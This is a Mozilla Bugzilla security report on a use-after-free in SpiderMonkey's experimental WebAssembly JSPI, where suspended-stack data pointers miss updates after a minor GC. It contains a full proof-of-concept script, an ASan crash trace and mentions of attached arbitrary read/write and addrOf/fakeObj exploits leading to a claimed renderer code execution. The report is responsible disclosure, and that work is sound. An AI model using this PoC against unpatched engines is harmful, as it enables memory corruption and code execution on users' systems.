Closed Bug 2008358 Opened 10 months ago Closed 6 months ago

Use-after-free in JSPI: data ptrs on suspended stack are not updated

Categories

(Core :: JavaScript: WebAssembly, defect, P1)

defect

Tracking

()

RESOLVED FIXED
151 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 --- unaffected
firefox148 --- disabled
firefox149 --- disabled
firefox150 --- disabled
firefox151 --- fixed

People

(Reporter: canalun, Assigned: rhunt)

References

(Blocks 1 open bug)

Details

(Keywords: csectype-uaf, sec-high, unsupported-config, Whiteboard: [client-bounty-form])

Attachments

(4 files)

Attached file poc.js —

Summary

For JSPI, UaF occurs if a minor GC occurs during suspension. This is because data pointer is not properly updated for suspended stack.

JSPI is an experimental feature, but the user can enable it. So I report it just in case.

Root Cause

I'm not 100% sure for root cause. But here is my observation.

UpdateJitActivationsForMinorGC updates data pointer in the case of wasm only for active stack by calling Instance::updateFrameForMovingGC, which calls nursery.forwardBufferPointer for OOL ArrayDataPointer(
https://searchfox.org/firefox-main/source/js/src/wasm/WasmInstance.cpp#3306).

/js/src/jit/JitFrames.cpp:1510-1529
https://searchfox.org/firefox-main/source/js/src/jit/JitFrames.cpp#1510-1529

void UpdateJitActivationsForMinorGC(JSRuntime* rt) {
MOZ_ASSERT(JS::RuntimeHeapIsMinorCollecting());
Nursery& nursery = rt->gc.nursery();
JSContext* cx = rt->mainContextFromOwnThread();
for (JitActivationIterator activations(cx); !activations.done();
     ++activations) { // [1] active stack only
  for (JitFrameIter iter(activations->asJit()); !iter.done(); ++iter) {
    if (iter.isJSJit()) {
      [...]
    } else if (iter.isWasm()) {
      const wasm::WasmFrameIter& frame = iter.asWasm();
      frame.instance()->updateFrameForMovingGC( // [2] update data pointer
          frame, frame.resumePCinCurrentFrame(), nursery);
    }
  }
}
}

For suspended stack, Context::traceRoots() calls TraceSuspendableStack.

js/src/wasm/WasmContext.cpp#93-108
https://searchfox.org/firefox-main/source/js/src/wasm/WasmContext.cpp#93-108

void Context::traceRoots(JSTracer* trc) {
  // The suspendedStacks_ contains suspended stacks frames that need to be
  // traced only during minor GC. The major GC tracing is happening via
  // SuspenderObject::trace.
  // Non-suspended stack frames are traced as part of TraceJitActivations.
  if (!trc->isTenuringTracer()) {
    return;
  }
  gc::AssertRootMarkingPhase(trc);
  for (auto iter = suspenders_.iter(); !iter.done(); iter.next()) {
    SuspenderObject* object = iter.get();
    if (object->state() == SuspenderState::Suspended) {
      TraceSuspendableStack(trc, object);
    }
  }
}

But TraceSuspendableStack doesn't call updateFrameForMovingGC(). TraceSuspendableStack calls traceFrame, but it doesn't update data pointer.

So if minor GC happens during suspension, nursery objects is freed and UaF occurs by writing objects from JS.

STR

version: I tried it on commit 3619619 on autoland, which is used for 148.0a1 (2026-01-02) (aarch64).

  1. Save the following as poc.js.
async function run() {
  var wasm_code = wasmTextToBinary(`
    (module
      (type $small_array (array (mut i32)))
      (import "env" "suspending_import" (func $suspending_import (result externref)))

      (func $trigger (export "trigger") (result i32)
        (local $arr1 (ref $small_array))
        (local $temp i32)

        ;; Create a small array to ensure nursery allocation
        (local.set $arr1 (array.new $small_array (i32.const 0x42424242) (i32.const 30)))

        ;; Suspend - all data pointers should be on stack in stackmap
        (call $suspending_import)
        (drop)

        ;; Access arrays after resume
        ;; If any data pointer wasn't updated, we'll access freed memory
        (array.get $small_array (local.get $arr1) (i32.const 0))
      )
    )
  `);
  const wasmModule = new WebAssembly.Module(wasm_code);

  const jsSuspendingImport = new WebAssembly.Function(
    { parameters: [], results: ['externref'] },
    () => {
      minorgc();
      // Fill nursery with garbage to overwrite freed memory
      let garbage = [];
      for(let i=0; i<200000; i++) {
        garbage.push({a: 0x1, b: 0x1, c: 0x1});
      }
    }
  );
  const wrappedSuspendingImport = new WebAssembly.Suspending(jsSuspendingImport);
  const wasmInstance = await WebAssembly.instantiate(wasmModule, {
    env: {
      suspending_import: wrappedSuspendingImport
    }
  });

  const trigger = WebAssembly.promising(wasmInstance.exports.trigger);

  const result = await trigger();
  print("[*] Result: 0x" + result.toString(16));

  const expected = 0x42424242;
  print("[*] Expected: 0x" + (expected >>> 0).toString(16));

  if ((result >>> 0) !== (expected >>> 0)) {
    print("[!!!] Difference: " + ((result - expected) >>> 0).toString(16));
  }
}

run()
  1. Run with Ion. Specifically, ./js --wasm-compiler=ion -P wasm_js_promise_integration=true poc.js. (--ion-warmup-threshold=0 may be not necessary. But if you can't reproduce the bug, please try it.)

  2. You might get a result like this. I confirmed every run gave me different results.

[*] Result: 0x-d7ffe00
[*] Expected: 0x42424242
[!!!] Difference: b03dbfbe

Here is my mozconfig just in case.

ac_add_options --enable-project=js
ac_add_options --disable-optimize
ac_add_options --disable-unified-build
ac_add_options --disable-debug
ac_add_options --enable-debug-symbols
ac_add_options --disable-tests

ac_add_options --enable-address-sanitizer
ac_add_options --disable-jemalloc
ac_add_options --disable-install-strip
ac_add_options --enable-jitspew

ac_add_options --enable-gczeal

mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj-debug-@CONFIG_GUESS@

Impact

I'm now checking if RCE or some impactful thing can be achieved with this bug.

Flags: sec-bounty?
Group: firefox-core-security → javascript-core-security
Component: Security → JavaScript: WebAssembly
Product: Firefox → Core
Summary: UaF in JSPI: data ptrs on suspended stack are not updated → Use-after-free in JSPI: data ptrs on suspended stack are not updated

I confirmed this bug is not reproduced on the commit 64841b5dc9c on autoland, which is used for Release build 146.0.1.

I changed the poc to use externref and it crashes. Please refer to the attached poc_crash.js.

$ ./js --wasm-compiler=ion -P wasm_js_promise_integration=true poc_crash.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==84890==ERROR: AddressSanitizer: BUS on unknown address (pc 0x000104ad6c74 bp 0x00016b330a70 sp 0x00016b330a50 T0)
==84890==The signal is caused by a READ memory access.
==84890==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
    #0 0x000104ad6c74 in js::gc::HeaderWord::get() const+0x48 (js:arm64+0x10000ec74)
    #1 0x000104ae3690 in js::gc::TenuredCellWithNonGCPointer<JSClass const>::headerPtr() const+0x24 (js:arm64+0x10001b690)
    #2 0x000104ae3620 in js::BaseShape::clasp() const+0x14 (js:arm64+0x10001b620)
    #3 0x000104ae359c in js::Shape::getObjectClass() const+0x18 (js:arm64+0x10001b59c)
    #4 0x000104ae3550 in JSObject::getClass() const+0x18 (js:arm64+0x10001b550)
    #5 0x0001078c8458 in bool JSObject::is<WasmValueBox>() const+0x14 (js:arm64+0x102e00458)
    #6 0x0001078c8258 in js::wasm::AnyRef::toJSValue() const+0x194 (js:arm64+0x102e00258)
    #7 0x000107db48a0 in bool ToJSValue_externref<js::wasm::NoDebug>(JSContext*, void*, JS::MutableHandle<JS::Value>)+0x17c (js:arm64+0x1032ec8a0)
    #8 0x000107db2f3c in bool js::wasm::ToJSValue<js::wasm::NoDebug>(JSContext*, void const*, js::wasm::PackedType<js::wasm::StorageTypeTraits>, JS::MutableHandle<JS::Value>, js::wasm::CoercionLevel)+0x6c4 (js:arm64+0x1032eaf3c)
    #9 0x000107aacdb8 in js::WasmStructObject::getField(JSContext*, unsigned int, JS::MutableHandle<JS::Value>)+0xb8 (js:arm64+0x102fe4db8)
    #10 0x000107c93bc0 in js::wasm::SetPromisingPromiseResults(js::wasm::Instance*, js::wasm::SuspenderObject*, js::WasmStructObject*)+0x44c (js:arm64+0x1031cbbc0)
    #11 0x16390f942044  (<unknown module>)

==84890==Register values:
 x[0] = 0xd0000010700026c0   x[1] = 0x0000000000000000   x[2] = 0x000000016b331290   x[3] = 0x000000016b330ff8
 x[4] = 0x0000000000000000   x[5] = 0x0000000000000000   x[6] = 0x000000016b331290   x[7] = 0x0000000000000001
 x[8] = 0xd0000010700026c0   x[9] = 0xd0000010700026c0  x[10] = 0x00000001078c80c4  x[11] = 0x000000016b330b30
x[12] = 0x000000016b330b28  x[13] = 0x000000016b330b20  x[14] = 0x000000702d68618c  x[15] = 0x000000016b330c30
x[16] = 0x000000016b330c28  x[17] = 0x000000016b330c20  x[18] = 0x0000000000000000  x[19] = 0x000000016b330b60
x[20] = 0x00000001f7584248  x[21] = 0x0000000000000000  x[22] = 0xfffffffffffffff0  x[23] = 0x0000617000007080
x[24] = 0x0000000000000001  x[25] = 0x000000016b336920  x[26] = 0x00000001f7587970  x[27] = 0x0000000000000000
x[28] = 0x000000016b331630     fp = 0x000000016b330a70     lr = 0x0000000104ae3694     sp = 0x000000016b330a50
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (js:arm64+0x10000ec74) in js::gc::HeaderWord::get() const+0x48
==84890==ABORTING
zsh: abort      ./js --wasm-compiler=ion -P wasm_js_promise_integration=true poc_crash.js
Attached file poc_crash.js —

I think I succeeded to demonstrate arbitrary r/w. So I share poc_arbitrary_rw.js just in case.
Please let me know if I can give any help.

Attached file poc_arbitrary_rw.js —

Just in case, I confirmed my pocs work on the current latest commit, 042787b793.

(Sorry for repeated posts.)
I succeeded to demonstrate addrOf and fakeObj. So I share them as poc_addrOf_and_fakeObj.js.

Blocks: sm-security
Severity: -- → S3
Priority: -- → P1

The severity field for this bug is set to S3. However, the bug is flagged with the sec-high keyword.
:rhunt, could you consider increasing the severity of this security bug?

For more information, please visit BugBot documentation.

Flags: needinfo?(rhunt)

Good catch, we'll definitely want suspended stacks to get updated when a minor GC happens.

This is indeed in a disabled by default feature, so the flags are correct. My understanding of the policy is to keep this sec-high even if the severity is low due to it being disabled. We will fix this soon though because we want to ship JS-PI.

Flags: needinfo?(rhunt)

Thank you for fixing it.
FYI, it finally led to a renderer RCE on my environment.
(I mean I successfully ran shell code on SM. If necessary, I can share that poc also, of course.)
So, I’m glad we caught and addressed this before it reached the stable channel.
I’m happy to have contributed to making it safer for its upcoming launch :)

Assigning to rhunt for now, since it is a JS-PI bug

Assignee: nobody → rhunt
Flags: sec-bounty?
Status: NEW → ASSIGNED
Duplicate of this bug: 2022667
Depends on: 2023217

The severity field for this bug is set to S3. However, the following bug duplicate has higher severity:

:rhunt, could you consider increasing the severity of this bug to S2?

For more information, please visit BugBot documentation.

Flags: needinfo?(rhunt)
Flags: behind-pref+
Flags: needinfo?(rhunt)
Duplicate of this bug: 2024807

This is fixed in the new version of JS-PI that we're working on in bug 2023217. I tested the crashing test and it no longer reproduces with those commits. I'll leave this open to ensure we fix this.

Duplicate of this bug: 2029313
Duplicate of this bug: 2030774
Group: javascript-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 6 months ago
Resolution: --- → FIXED
Target Milestone: --- → 151 Branch
QA Whiteboard: [sec] [qa-triage-done-c152/b151]
Duplicate of this bug: 2039571
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: